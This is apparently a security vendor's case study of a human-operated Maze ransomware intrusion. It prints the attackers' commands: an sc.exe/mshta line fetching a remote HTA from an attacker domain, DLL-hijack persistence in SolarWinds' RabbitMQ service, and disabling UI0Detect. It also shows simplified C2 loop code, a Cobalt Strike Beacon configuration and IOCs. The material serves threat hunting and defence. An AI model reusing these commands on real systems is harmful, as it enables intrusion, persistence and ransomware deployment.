Case Study: Catching a Human-Operated Maze Ransomware Attack In Action

Executive Summary

  • Maze ransomware is one of the most widespread ransomware strains currently in the wild and is distributed by different capable actors.
  • We discovered a Maze affiliate deploying tailor-made persistence methods prior to delivering the ransomware.
  • The actor appears to have used a stolen certificate to sign its Beacon stager.
  • In common with other attacks, the actor used an HTA payload as an interactive shell, which we were able to catch live and deobfuscate.

Background

Maze ransomware has been used extensively in the last year or so as the final payload by many different actors around the world. This year, Maze operators notoriously began extorting companies not just by encrypting files but also through threatening to publish exfiltrated files online. We recently caught one Maze affiliate at the early stage of attempting to spread through a network belonging to one of our clients.

In this post, we share details about the methods used by this Maze affiliate in order to shed light on their tactics and to help security teams hunt for similar IOCs in their own networks.

Attack Entry Point

As previously reported in other Maze incidents, the attackers used RDP to gain access to an internet-facing machine, probably by brute-forcing the Administrator’s password. One of the attacks against a US company began on Saturday the 4th of July, a date obviously chosen in the hope that many people – particularly security staff – might not be at work that day.

The attackers connected using RDP and uploaded their beacon payload, disguised as a known Microsoft binary named netplwiz.exe. Their payload had the same icon and description as the genuine binary of the same name and was also signed, most likely with a stolen certificate.

Sysinternals’ sigcheck.exe on original netplwiz.exe:

c:\windows\system32\Netplwiz.exe:
        Verified:       Signed
        Signing date:   10:29 AM 6/6/2020
        Publisher:      Microsoft Windows
        Company:        Microsoft Corporation
        Description:    Advanced User Accounts Control Panel
        Product:        Microsoft« Windows« Operating System
        Prod version:   10.0.18362.1
        File version:   10.0.18362.1 (WinBuild.160101.0800)

In the malicious netplwiz.exe, we can see the stolen certificate:

c:\hunting\cwc\netplwiz.exe.mal:
        Verified:       Signed
        Signing date:   8:05 PM 7/3/2020
        Publisher:      Clubessential, LLC.
        Company:        Microsoft Corporation
        Description:    Advanced User Accounts Control Panel
        Product:        Microsoft« Windows« Operating System
        Prod version:   6.1.7600.16385
        File version:   6.1.7600.16385 (win7_rtm.090713-1255)

A closer look at the certificate:

This executable is a simple packer that loads Cobalt Strike’s Beacon version 4. This packer is pretty simple, and does the following:

The decoding function looks like this:

We dumped the beacon from memory and parsed its configuration:

Tailor-Made Persistence Mechanisms

Although the entry method is pretty common, the attackers displayed great creativity in their persistence methods, which were tailor-made to the machine they found themselves on.

For example, one host was running a SolarWinds Orion instance. This Orion product uses RabbitMQ as the internal messaging component and is installed with the product. RabbitMQ is written in Erlang, and therefore uses the Erlang runtime service (erlsrv.exe) to run.

The attackers relied on this dependency chain to spawn themselves in this erlsrv.exe process and to gain persistence on the host, as the RabbitMQ service is running erlsrv.exe.

We could see this when the attackers dropped two DLLs containing their beacon stager to disk and then began interfering with the RabbitMQ service:

tasklist /SVC
sc qc RabbitMQ
Uploaded: C:\Program Files (x86)\SolarWinds\Orion\Erlang\erts-7.1\bin\acluapi.dll‎
Uploaded: C:\Program Files (x86)\SolarWinds\Orion\Erlang\erts-7.1\bin\version.dll
sc stop RabbitMQ
sc start RabbitMQ

The DLL that was hijacked is version.dll, which is normally loaded from the system32 folder. By dropping it in the same folder as erlsrv.exe, it loaded their version.dll, and it loaded acluapi.dll containing the beacon.

After restarting the RabbitMQ service, a Cobalt Strike Beacon started communicating to the same domain as the one from netplwiz, but this time from erlsrv.exe and SYSTEM integrity level.

In another case showing similar adaptation to the local environment, the attackers targeted the Java Updater which runs when the computer starts and dropped a DLL that is loaded by jusched.exe when it starts.

After installing persistency, the attackers did some domain reconnaissance and uploaded ngrok to C:\Windows\dwm.exe and used it for tunneling.

They also ran this:

sc config UI0Detect start= disabled

The UI0Detect, like the name implies, detects and alerts the user if a program in session 0 tries to interact with the desktop. It’s important for them to disable this service in order to avoid alerting the user in case they accidentally pop a message box or starting a GUI application while running as SYSTEM.

HTA Payload

When they found an interesting server they wanted to laterally move to, they used sc.exe and deployed a tool that gave them an online shell on that target.

Specifically, they ran this command (IP changed):

sc \\192.168.90.90 config MiExchange binPath= "c:\windows\system32\cmd.exe /c start mshta http://crt.officecloud[.]top/st"

They used mshta to run an HTA payload that was hosted on their site. We believe the HTA is their way of working online on remote computers before deploying their Cobalt Strike Beacon, if they believe it’s worth it.

The HTA payload is a somewhat sophisticated and automatically obfuscated code that we believe is self-made (as we’ve found no evidence of it online).

You can see the obfuscated and our de-obfuscated version here.

Main Loop – Encoded vs Decoded

When ran, it first sends some basic information of the computer, such as OS Version, routing info, Domain Controller name (if the computer is member of a domain) and more:

The payload contains a variable that is empty when it is first run. In this case, it runs another HTA from the server using mshta.exe, which is identical to itself except that the variable now contains the value “prfx” instead of being empty.

Consequently, it enters a loop of running HTAs from the server.

The simplified code looks as follows:

try {
    if (mainFuncStruct.emptyIfFirstRun != "prfx") {
        try {
            mainFuncStruct.funcStruct6.runMshtaFromCNC("");
        } catch (e) {
            mainFuncStruct.funcStruct6.sendErrorDataToCNC(e)
        }
        mainFuncStruct.killSelf();
    } else {
        if (mainFuncStruct.isRunningInMshta())
            LimitedRunLoop();
        else
            InfiniteRunLoop();
    }
} catch (e) {
    mainFuncStruct.funcStruct6.sendErrorDataToCNC(e);
}

The payload is interesting because it has some unique behavior:

  1. It can be run both as a JScript file and as an HTA file
  2. It never receives simple cmd.exe commands from the server, only HTAs (that may run cmd.exe themselves)
  3. It’s obfuscated automatically and differently every time it is requested from the server

Also worth noting from a hunting perspective is that it runs net1.exe directly, instead of net.exe, probably to evade EDR and command-line based detection methods.

Conclusion

All of the above shows that these are very capable attackers. Although they used mostly known methods, they also showed some creativity to compromise targets successfully and move laterally inside them with ease and speed. However, they were still caught and mitigated by the SentinelOne agent before any harm was done.

As their HTA-serving server is still online, and since this campaign is still going strong, we recommend security teams to check for the following IOCs in their EDR data or SIEM and quickly mitigate any that are found to prevent the ransomware being deployed.

Indicators of Compromise

HTA Payload Servers
crt.officecloud[.]top
crt.globalsign[.]icu
mhennigan.safedatasystems[.]com

CS Beacon Server
ocspverisign[.]pw

Other Tools Used
ngrok.exe
Certificate signer: “Clubessential, LLC.”

Full Beacon Configuration

BeaconType                       - HTTPS
Port                             - 443
SleepTime                        - 61107
MaxGetSize                       - 1048580
Jitter                           - 13
MaxDNS                           - 245
C2Server                         - pkcs.ocspverisign.pw,/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQe6LNDJdqx2BJOp7hVgTeaGFJ2FC
                                   crl.ocspverisign.pw,/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQe6LNDJdqx2BJOp7hVgTeaGFJ2FC
                                   pfx.ocspverisign.pw,/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS56bKHAoUD2BOyl2B0LhPg9JxyQm
UserAgent                        - Microsoft-CryptoAPI/10.0
HttpPostUri                      - /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSLIycRsoI3J6zPns4K1aQgAqaqHgQUZ
HttpGet_Metadata                 - Cookie: cdn=ocsp;
                                   Cookie
HttpPost_Metadata                - Content-Type: application/ocsp-request
                                   Cookie: cdn=ocsp;
                                   u
DNS_Idle                         - 8.8.8.8
DNS_Sleep                        - 0
HttpGet_Verb                     - GET
HttpPost_Verb                    - POST
HttpPostChunk                    - 0
Spawnto_x86                      - %windir%\syswow64\werfault.exe
Spawnto_x64                      - %windir%\sysnative\wuauclt.exe
CryptoScheme                     - 0
Proxy_Behavior                   - Use IE settings
Watermark                        - 305419896
bStageCleanup                    - False
bCFGCaution                      - False
KillDate                         - 0
bProcInject_StartRWX             - True
bProcInject_UseRWX               - False
bProcInject_MinAllocSize         - 21036
ProcInject_PrependAppend_x86     - b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
                                   Empty
ProcInject_PrependAppend_x64     - b'\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90'
                                   Empty
ProcInject_Execute               - ntdll.dll:RtlUserThreadStart
                                   SetThreadContext
                                   RtlCreateUserThread
ProcInject_AllocationMethod      - VirtualAllocEx
bUsesCookies                     - True
0 / 84